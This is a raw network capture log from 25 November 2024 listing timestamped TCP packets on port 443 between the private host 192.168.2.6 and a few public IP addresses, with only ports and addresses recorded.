Nov 25, 2024 18:28:57.995210886 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.995229006 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.995399952 CET	49830	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.995413065 CET	443	49830	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:57.995556116 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:57.995569944 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.027215004 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.029041052 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.029057980 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.030046940 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.030070066 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.465209007 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.465334892 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.465466022 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.465785027 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.465799093 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.465811014 CET	49835	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.465816021 CET	443	49835	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.469173908 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.469202995 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:58.469273090 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.469454050 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:58.469470978 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.010278940 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:59.010349035 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:59.010441065 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:59.112706900 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:59.112720966 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:59.714406967 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.714868069 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.714884043 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.715653896 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.715660095 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.767535925 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.768259048 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.768271923 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.768789053 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.768794060 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.796128988 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.796611071 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.796643019 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.797034025 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.797040939 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.887604952 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.888680935 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.888705015 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:59.889130116 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:59.889134884 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.163837910 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.166928053 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.167026043 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.167061090 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.167061090 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.167074919 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.167083979 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.169989109 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.170027018 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.170140028 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.170347929 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.170360088 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.213355064 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.216483116 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.216773987 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.217220068 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.242173910 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.245326996 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.245412111 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.266530037 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.358623981 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.361783028 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.361877918 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.611145020 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.611155033 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.612076044 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.612095118 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.612135887 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.612142086 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.613588095 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.613617897 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.614100933 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.614106894 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.614289045 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.614305973 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.614317894 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.614324093 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.713439941 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.713465929 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.713530064 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.722877979 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.722909927 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.723078012 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.723198891 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.723215103 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.727081060 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.727092981 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.727240086 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.727256060 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.727297068 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.727453947 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.727471113 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.930331945 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.933309078 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.933371067 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.933938980 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.933965921 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.933986902 CET	49850	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.933993101 CET	443	49850	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.937839031 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.937877893 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:00.937937975 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.938316107 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:00.938329935 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:01.855607986 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:01.856364012 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:01.856403112 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:01.857413054 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:01.857418060 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.085270882 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:02.085320950 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:02.085398912 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:02.086183071 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:02.086199045 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:02.313246012 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.316344976 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.316478014 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.316716909 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.316734076 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.316745043 CET	49862	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.316750050 CET	443	49862	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.319324970 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.319366932 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.320312977 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.320482016 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.320494890 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.448007107 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.448550940 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.448569059 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.449013948 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.449019909 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.510889053 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.512952089 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.512969017 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.513400078 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.513406038 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.535542965 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.536016941 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.536041975 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.536488056 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.536493063 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.888551950 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.891840935 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.892270088 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.893753052 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.958162069 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.958487034 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.958574057 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.988071918 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.989372015 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.989470005 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.989526987 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:02.989545107 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:02.989573002 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.478512049 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.478539944 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.478559017 CET	49864	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.478570938 CET	443	49864	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.481344938 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.481372118 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.481386900 CET	49867	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.481393099 CET	443	49867	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.487970114 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.488006115 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.488027096 CET	49868	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.488042116 CET	443	49868	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.490466118 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.490484953 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.491364002 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.491369963 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.819447041 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.822585106 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.822654963 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.822669983 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.822715044 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.822763920 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.837035894 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:03.837100983 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:03.844810009 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.844820023 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.844847918 CET	49869	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.844852924 CET	443	49869	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.851824045 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.851861000 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.851919889 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.854909897 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:03.854921103 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:03.855144024 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:03.871098042 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:03.872380972 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.872404099 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.872498989 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.877264977 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.877300024 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.877388000 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.878320932 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.878334045 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.880901098 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.880912066 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.881020069 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.881784916 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.881798983 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.882456064 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.882469893 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.883033037 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:03.883043051 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:03.915328979 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.187922955 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.190598011 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.190618992 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.191131115 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.191137075 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.536851883 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.536880970 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.536895037 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.536952972 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.536964893 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.537014008 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.576875925 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.576926947 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.576972961 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.576981068 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.576993942 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.577035904 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.577035904 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.579152107 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.579165936 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.579179049 CET	49878	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:29:04.579185009 CET	443	49878	4.245.163.56	192.168.2.6
Nov 25, 2024 18:29:04.647181988 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.649785995 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.649847031 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.650054932 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.650073051 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.650084019 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.650089025 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.664231062 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.664263010 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:04.664369106 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.664799929 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:04.664810896 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.625829935 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.628343105 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.628372908 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.628992081 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.628999949 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.671619892 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.674806118 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.717924118 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.717941999 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.718446970 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.718452930 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.718683958 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.718696117 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.719034910 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.719038963 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.770454884 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.818907022 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.818919897 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:05.825553894 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:05.825560093 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.066641092 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.070631981 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.074183941 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.074224949 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.074244022 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.074255943 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.074264050 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.081557989 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.081582069 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.081717014 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.081854105 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.081861973 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.118818045 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.122039080 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.122097969 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.122143984 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.122162104 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.122173071 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.122179031 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.132786989 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.132824898 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.132885933 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.133299112 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.133318901 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.206569910 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.209580898 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.209633112 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.209635019 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.209675074 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.209732056 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.209752083 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.209765911 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.209770918 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.214032888 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.214070082 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.214140892 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.214361906 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.214375019 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.230525017 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.233438015 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.233541965 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.233541965 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.233541965 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.235946894 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.235975981 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.236031055 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.236179113 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.236191034 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.410788059 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.411365032 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.411382914 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.411859989 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.411865950 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.590382099 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.590399981 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.860238075 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.863683939 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.863763094 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.866399050 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.866417885 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.866430044 CET	49900	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.866436958 CET	443	49900	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.869595051 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.869628906 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:06.869704962 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.869860888 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:06.869873047 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.939649105 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.941350937 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:07.941380978 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.941874027 CET	49903	443	192.168.2.6	13.107.246.63
